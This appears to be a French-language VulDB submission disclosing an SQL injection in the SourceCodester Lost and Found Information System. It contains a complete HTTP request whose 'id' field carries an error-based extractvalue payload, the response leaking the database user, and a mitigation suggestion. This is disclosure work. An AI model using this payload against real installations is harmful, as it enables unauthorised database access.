| Titre | SourceCodester Lost and Found Information System POST Parameter Master.php sql |
|---|
| Description | I find a SQL injection vulnerability in the SourceCodester Lost and Found Information System(https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html)
This affect the file /classes/Master.php?f=save_category:
POST /php-lfis/classes/Master.php?f=save_category HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------291530209222137902962820473916
Content-Length: 1092
Origin: http://localhost
Connection: close
Referer: http://localhost/php-lfis/admin/?page=items/manage_item
Cookie: PHPSESSID=0mct2fkncfd5or5crbqj5o62he
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------291530209222137902962820473916
Content-Disposition: form-data; name="id"
1 or (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
-----------------------------291530209222137902962820473916
Content-Disposition: form-data; name="category_id"
2
-----------------------------291530209222137902962820473916
Content-Disposition: form-data; name="fullname"
1111
-----------------------------291530209222137902962820473916
Content-Disposition: form-data; name="title"
111
-----------------------------291530209222137902962820473916
Content-Disposition: form-data; name="contact"
111
-----------------------------291530209222137902962820473916
Content-Disposition: form-data; name="description"
1111
-----------------------------291530209222137902962820473916
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream
-----------------------------291530209222137902962820473916
Content-Disposition: form-data; name="status"
0
-----------------------------291530209222137902962820473916--
And it returns {"status":"failed","error":"XPATH syntax error: '~admin@localhost~'"}
The lack of proper filtering on the controllable parameter id in the code "UPDATE `category_list` set {data} where id = '{id}'" creates a vulnerability that can be exploited for SQL injection attacks. To mitigate this risk, I recommend implementing safeguards such as mysqli_real_escape_string() to protect the id parameter from malicious exploitation.
|
|---|
| La source | ⚠️ https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html |
|---|
| Utilisateur | p1taya (UID 54088) |
|---|
| Soumission | 07/09/2023 06:14 (il y a 3 ans) |
|---|
| Modérer | 16/09/2023 09:01 (9 days later) |
|---|
| Statut | Accepté |
|---|
| Entrée VulDB | 239859 [SourceCodester Lost and Found Information System 1.0 POST Parameter Master.php?f=save_category ID injection SQL] |
|---|
| Points | 20 |
|---|